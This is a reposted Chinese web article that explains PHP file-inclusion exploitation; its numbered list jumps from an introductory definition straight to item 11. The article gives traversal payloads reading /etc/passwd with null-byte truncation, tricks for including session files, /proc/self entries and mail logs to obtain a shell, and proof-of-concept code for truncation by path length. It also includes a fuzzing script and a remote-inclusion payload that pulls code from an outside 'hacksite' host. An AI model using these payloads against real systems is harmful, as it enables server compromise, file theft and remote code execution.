加入收藏 | 设为首页 | 会员中心 | 我要投稿 云计算网_泰州站长网 (http://www.0523zz.com/)- 视觉智能、AI应用、CDN、行业物联网、智能数字人!
当前位置: 首页 > 运营中心 > 交互 > 正文

PHP文件包含漏洞详解(1)

发布时间:2016-11-21 13:01:01 所属栏目:交互 来源:网络整理
导读:副标题#e# 一、什么才是远程文件包含漏洞? 回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。 涉及到的危险函数:include(),require()

11、使用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html 其中文中提到的allow_url_fopen和allow_url_include只是保护了against URL handles标记为URL.这影响了http(s) and ftp(s)但是并没有影响php或date 这些url形式。

12、LFI判断目录是否存在和列目录,如

**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00

**这个方法在TTYshell上是可以完全是可以判断的,但是在URL上有时候不可行。即使不存在dossierexistant也可以回显passwd内容。

index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00

**FreeBSD 《directory listing with PHP file functions》http://websec…ress.com/2009 … php-file-functions/ 列目录

**存在逻辑判断的时候,如不存在该目录就会返回header.php+File not found+footer.php 存在就会返回header.php+footer.php。这种逻辑很符合程序员的习惯。曾经用找到了一个目录很深的日志获得shell。

13、包含SESSION文件,php保存格式 sess_SESSIONID 默认位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、 /var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。

14、包含 /proc/self/cmdline 或者/proc/self/fd/找到log文件 (拥有者为root,默认情况要root才能访问)

具体参考:

Local File Inclusion – 《Tricks of the Trade》

http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/

还有其他提到包含/var/log/auth.log的,但是这个文件默认情况也是644.

15、包含maillog 通常位置/var/log/maillog 这个方法也很鸡肋,具体参考:

《local file inclusion tricks 》

链接找不到了

16、包含固定的文件,非常鸡肋,为了完整性也提下。如:可用中间人攻击。

突破限制截断后面的字符串技巧

利用本地包含时常常需要用%00来截断后面的字符串,但在GPC为ON时%00是会被转义的,那么还有其他方法么?

用一定数量的/突破操作系统对文件名的长度限制来截断后面的字符串(推测相对路径可用)

看漏洞代码:

<?php

$webpath = dirname(__FILE__)."/";

$filepath = "test.txt";

for($i =1;$i<1000;$i++){

$filepath .= '.';

}

include  $webpath.$filepath.".php";

?>

test.txt 代码:<?php die('OK');?>

结果截断失败,改下代码:

<?php

$webpath = dirname(__FILE__)."/";

$filepath = "test.txt";

for($i =1;$i<1000;$i++){

$filepath .= '.';

}

include    $filepath.".php";  //相对路径

?>

这次成功。

以上是windows下的方法,其实linux也可以:

<?php

$a='';

for($i=0;$i<=4071;$i++) {

$a .= '/';

}

$a = 'test.txt'.$a;                //完整的路径为/var/www/test/test.txt

require_once($a.'.php');

?>

include截断

<?php

include $_GET['action'].".php";

?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?

肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

<?php

////////////////////

////var5.php代码:

////include $_GET['action'].".php";

////print strlen(realpath("./"))+strlen($_GET['action']);

///////////////////

ini_set('max_execution_time', 0);

$str='';

for($i=0;$i<50000;$i++)

{

$str=$str."/";

$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);

//1.txt里的代码为print 'hi';

if (strpos($resp, 'hi') !== false){

print $i;

exit;

}

}

?>

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])

【责任编辑:蓝雨泪 TEL:(010)68476606】

(编辑:云计算网_泰州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读